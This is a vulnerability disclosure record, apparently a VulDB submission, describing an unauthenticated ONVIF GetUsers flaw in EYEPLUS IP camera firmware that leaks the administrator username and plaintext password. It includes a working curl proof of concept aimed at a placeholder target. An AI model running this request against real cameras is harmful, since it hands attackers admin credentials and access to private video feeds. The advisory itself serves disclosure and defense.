Submit #919771: Eyeplus EYEPLUS_DEV 57.0.0.0308 Information Disclosure

Unauthenticated ONVIF GetUsers on EYEPLUS IP camera firmware 57.0.0.0308 returns administrator username and plaintext password in SOAP XML without authentication.

ONVIF GetDeviceInformation reports: Manufacturer=EYEPLUS, Model=EYEPLUS_DEV, Firmware=57.0.0.0308, HardwareID=aj_ipc_hc2_001 (HC1703L family).

Note on product naming: EYEPLUS_DEV is the model string returned by the device firmware via ONVIF (not a retail SKU). The same OEM platform is sold under white-label names such as YCC365 Plus 1620P WiFi IP Camera (AliExpress item 1005006666714240). Related Eyeplus/Ningyuanda TC155 cameras use firmware family 57.x (see CVE-2025-14748/14749) but report Model=TC155 instead of EYEPLUS_DEV.

Impact: LAN attacker retrieves admin credentials.

CWE-306, CWE-200, CWE-256. CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N (7.1 High)

Endpoint: POST /onvif/Device, SOAP action GetUsers.

PoC:
curl -s -X POST http://TARGET/onvif/Device \
-H 'Content-Type: application/soap+xml; action="http://www.onvif.org/ver10/device/wsdl/GetUsers"' \
-H 'SOAPAction: "http://www.onvif.org/ver10/device/wsdl/GetUsers"' \
--data-binary '<?xml version="1.0"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:tds="http://www.onvif.org/ver10/device/wsdl"><s:Body><tds:GetUsers/></s:Body></s:Envelope>'

References:
https://github.com/pwnpwnpur1n/IoT-advisories
https://nvd.nist.gov/vuln/detail/CVE-2025-14748
https://nvd.nist.gov/vuln/detail/CVE-2025-14749
https://www.ycc365plus.com/en
https://ko.aliexpress.com/item/1005006666714240.html

Vendor contact: pending.

• Source: ⚠️ https://github.com/devjanger/iot-advisories/blob/main/EYEPLUS-GetUsers-Unauth-Plaintext-Password.md
• User: Janger (UID 97645)
• Submission: 08/09/2026 16:48 (2 months ago)
• Moderation: 09/27/2026 11:26 (2 months later)
• Status: Accepted
• VulDB entry: 410857 [Eyeplus 57.0.0.0308 ONVIF /onvif/Device GetUsers information disclosure]
• Points: 20